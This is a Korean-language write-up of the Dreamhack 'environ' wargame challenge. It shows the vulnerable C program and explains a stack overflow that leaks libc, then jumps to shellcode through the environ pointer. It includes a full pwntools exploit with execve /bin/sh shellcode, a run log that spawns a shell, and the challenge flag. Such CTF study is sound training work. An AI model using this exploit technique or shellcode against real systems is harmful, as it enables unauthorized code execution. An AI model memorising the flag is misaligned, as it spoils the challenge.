[dreamhack] environ writeup

1. 문제

thumbnail
environ

이 문제는 작동하고 있는 서비스(environ)의 바이너리와 소스코드가 주어집니다.
Environ ptr 기법을 통해 스택 주소를 유출하고 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/31

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

int main()
{
    char buf[16];
    size_t size;
    long value;
    void (*jump)();

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    printf("Data: ");
    read(0, buf, size);

    printf("*jmp=");
    scanf("%ld", &value);

    jump = *(long *)value;
    jump();

    return 0;
}

stdout의 libc 주소를 알려주고, buf에 원하는 size만큼 입력하고 value에 입력한 주소가 가리키는 주소로 점프한다.


일단 libc base leak은 가능하고, 이를 통해 문제 이름과 같은 environ 주소도 얻을 수 있다. 그리고 이 주소가 가리키는 곳이 바로 스택에 있는 환경변수 문자열이라는 사실을 이용해야한다.

buf에 무제한으로 쓸 수 있고, buf 변수가 environ이 가리키는 스택 주소보다 더 작다. 따라서 이걸 엄청나게 많은 nop sled와 shellcode로 덮으면 환경변수 문자열이 있는 주소까지 덮을 수 있기 때문에 쉘을 실행시킬 수 있다.

주의할 점은, value를 입력할 때 %ld로 입력받기 때문에 str()을 이용해서 입력해야한다… 이것때문에 살짝 삽질했다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./environ")
#p = remote("host3.dreamhack.games", 20557)
elf = ELF("./environ")
libc = ELF("./libc.so.6")

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

p.recvuntil(b"stdout: ")
stdout_addr = int(p.recv(14).decode(), 16)

libcbase = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
environ = libcbase + libc.symbols["environ"]

p.sendlineafter(b"Size: ", b"10000")

p.sendafter(b"Data: ", b"\x90" * 1000 + shellcode)

input()
p.sendafter(b"=", str(environ))

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/environ$ python3 e_environ.py 
[+] Starting local process './environ': pid 2653350
[+] Opening connection to host3.dreamhack.games on port 20557: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/environ/environ'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x3fe000)
    Stack:      Executable
    RWX:        Has RWX segments
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/environ/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

/home/ubuntu/dreamhack/level2/environ/e_environ.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendafter(b"=", str(environ))
[*] Switching to interactive mode
$ id
uid=1000(environ) gid=1000(environ) groups=1000(environ)
$ cat flag
DH{209478d89c920b8dfe2dee61f9bc1dcc}

해결~